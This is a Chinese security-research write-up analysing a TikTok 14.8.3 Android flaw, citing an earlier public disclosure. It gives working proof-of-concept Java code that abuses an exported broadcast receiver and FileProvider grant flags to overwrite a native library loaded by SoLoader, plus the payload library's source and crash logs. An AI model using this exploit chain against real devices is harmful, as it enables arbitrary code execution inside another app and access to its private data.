[ByteDance] [TikTok] NotificationBroadcastReceiver导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
日期
版本
描述
作者
2021.05.01
1.0
完整的漏洞分析与利用
wnagzihxa1n
0x00 漏洞概述
0x01 触发条件
上线时间
应用名
包名
软件版本
下载链接
2020.02.08
TikTok
com.zhiliaoapp.musically
14.8.3
https://www.apkmirror.com/apk/tiktok-pte-ltd/tik-tok-including-musical-ly/tik-tok-including-musical-ly-14-8-3-release/
0x02 PoC
0x03 前置知识
0x04 Root Cause
组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver导出
<receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
<intent-filter>
<action android:name="notification_cancelled"/>
</intent-filter>
</receiver>当Action为notification_clicked的时候，会获取contentIntentURI传入startActivity()进行跳转，由于contentIntentURI外部可控，所以可以跳转调用任意私有不导出Activity组件
public class NotificationBroadcastReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
if(context != null && intent != null) {
String action = intent.getAction();
int intent_type = intent.getIntExtra("type", -1);
if(intent_type != -1) {
((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
}
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI); // [1]
}
catch(Exception unused_ex) {
}
}
if("notification_cancelled".equals(action)) {
Map map = null;
if(intent_contentIntentURI != null) {
map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
}
h.a("push_clear", map);
}
return;
}
}
}0x05 漏洞调试与利用
高版本的安卓系统需要如下使用FileProvider，这里可以看到被设置为不导出
<provider
android:authorities="com.zhiliaoapp.musically.fileprovider"
android:exported="false"
android:grantUriPermissions="true"
android:name="android.support.v4.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider>对应的配置文件
<?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<root-path name="name" path=""/>
<external-path name="share_path0" path="share/"/>
<external-path name="download_path2" path="Download/"/>
<cache-path name="gif" path="gif/"/>
<external-files-path name="share_path1" path="share/"/>
<external-files-path name="install_path" path="update/"/>
<external-files-path name="livewallpaper" path="livewallpaper/"/>
<external-cache-path name="share_image_path0" path="picture/"/>
<external-cache-path name="share_image_path2" path="head/"/>
<external-cache-path name="share_image_path3" path="feedback/"/>
<external-cache-path name="share_image_path4" path="tmpimages/"/>
<cache-path name="share_image_path1" path="picture/"/>
<cache-path name="share_image_path3" path="head/"/>
<cache-path name="share_image_path4" path="tmpimages/"/>
<cache-path name="share_sdk_path_0" path="share_content_cache/"/>
</paths>先拥有一个任意私有Activity组件打开的能力，去结合FileProvider获取文件读写的能力，再去实现动态库加载
首先是给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver发送广播
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
private void handleIntent(Intent i) {
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
sendBroadcast(intent);
}
}回顾下漏洞代码段，会获取contentIntentURI字段，用于后续跳转
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI);
}
catch(Exception unused_ex) {
}
}如下即可实现指定应用获取FileProvider的文件读写权限，从NotificationBroadcastReceiver跳到PoC的MainActivity的时候就获得了对FileProvider的文件读写权限，此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so，同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver，会去调用else分支，将我们的SO文件写入上面指定的路径
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleIntent(intent);
}
private void handleIntent(Intent i) {
if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
// NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent，用于PoC获取FileProvider的文件读写权限
Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
next.setClassName(getPackageName(), getClass().getCanonicalName());
next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));
// 发往NotificationBroadcastReceiver的Intent
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
intent.putExtra("contentIntentURI", next);
sendBroadcast(intent);
}
else {
try {
OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
InputStream inputStream = getAssets().open("evil_lib.so");
IOUtils.copy(inputStream, outputStream);
inputStream.close();
outputStream.close();
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
}我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so，这得从Facebook开源的SoLoader说起，这个工具可以自动实现SO文件的加载，能够解决大量动态库的依赖问题，它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main，然后应用启动的时候会去这个路径下加载动态库，但在测试过程中，这个路径下默认是没有库文件的
那我们既然拥有/data/data/com.zhiliaoapp.musically下文件的读写能力，就可以指定其中一个动态库去覆写，应用启动的时候就会加载我们覆写后的动态库，实现代码执行
我们使用如下的代码生成用于攻击的SO，提取其中64位的版本放到PoC的Assets文件夹下
#include <jni.h>
#include <string>
#include <android/log.h>
#define LOG_TAG "######################################################"
#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR,LOG_TAG,__VA_ARGS__)
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
LOGE("Debug: [%s] \n", __FUNCTION__);
JNIEnv* env;
if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
return JNI_ERR;
}
return JNI_VERSION_1_6;
}需要注意的是不同版本有不一样的行为，在某些版本并不能生成lib-main文件夹，可以替换成app_librarian/14.8.3.6327148996
攻击过程：先安装TikTok，点击启动运行，再运行PoC，覆写SO，再重启TikTok就会发现漏洞利用成功，这样也会造成问题，有的库函数没有实现会导致崩溃
04-29 15:01:09.720 14186 14500 E ######################################################: Debug: [JNI_OnLoad]
04-29 15:01:09.720 14186 14500 E zygote : No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:09.721 14186 14500 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 15:01:09.721 14186 14500 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 14186
04-29 15:01:09.721 14186 14500 E AndroidRuntime: java.lang.UnsatisfiedLinkError: No implementation found for long com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeAllocate(int) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeAllocate__I)
04-29 15:01:10.514 14186 14194 E zygote : No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)
04-29 15:01:10.514 14186 14194 E System : java.lang.UnsatisfiedLinkError: No implementation found for void com.facebook.imagepipeline.memory.NativeMemoryChunk.nativeFree(long) (tried Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree and Java_com_facebook_imagepipeline_memory_NativeMemoryChunk_nativeFree__J)其实也简单，做中间商，手动调用原来的libimagepipeline.so库函数，并把结果返回
测试过程中也发现了一些其它问题，可能是版本不匹配，也可能是各种权限的错误
04-29 02:04:46.667 19563 19889 E AndroidRuntime: FATAL EXCEPTION: FrescoIoBoundExecutor-2
04-29 02:04:46.667 19563 19889 E AndroidRuntime: Process: com.zhiliaoapp.musically, PID: 19563
04-29 02:04:46.667 19563 19889 E AndroidRuntime: java.lang.UnsatisfiedLinkError: couldn't find DSO to load: libimagepipeline.so caused by: ELF file does not contain dynamic linking information
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.soloader.SoLoader.doLoadLibraryBySoName(SourceFile:703)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.soloader.SoLoader.loadLibraryBySoName(SourceFile:564)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.soloader.SoLoader.loadLibrary(SourceFile:500)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.soloader.SoLoader.loadLibrary(SourceFile:455)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imageutils.FrescoSoLoader.loadLibrary(SourceFile:27)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.nativecode.a.load(SourceFile:40)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.NativeMemoryChunk.<clinit>(SourceFile:31)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.y.h(SourceFile:25)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.y.a(SourceFile:13)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.a.get(SourceFile:267)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.x.<init>(SourceFile:51)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.x.<init>(SourceFile:33)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.w.newByteBuffer(SourceFile:48)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.memory.w.newByteBuffer(SourceFile:24)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.producers.aa.a(SourceFile:85)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.producers.aa.b(SourceFile:99)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.producers.ac.a(SourceFile:37)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.producers.aa$1.c(SourceFile:52)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.producers.aa$1.b(SourceFile:48)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.common.executors.f.run(SourceFile:43)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1162)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:636)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at com.facebook.imagepipeline.core.j$1.run(SourceFile:51)
04-29 02:04:46.667 19563 19889 E AndroidRuntime: at java.lang.Thread.run(Thread.java:764)0x06 漏洞研究
0x07 References
https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/
附录：调试过程记录
Previous任意私有组件启动漏洞的利用Next[ByteDance] [TikTok] DetailActivity导出存在任意私有组件启动结合FileProvider机制与FbSoLoader框架导致本地代码执行漏洞
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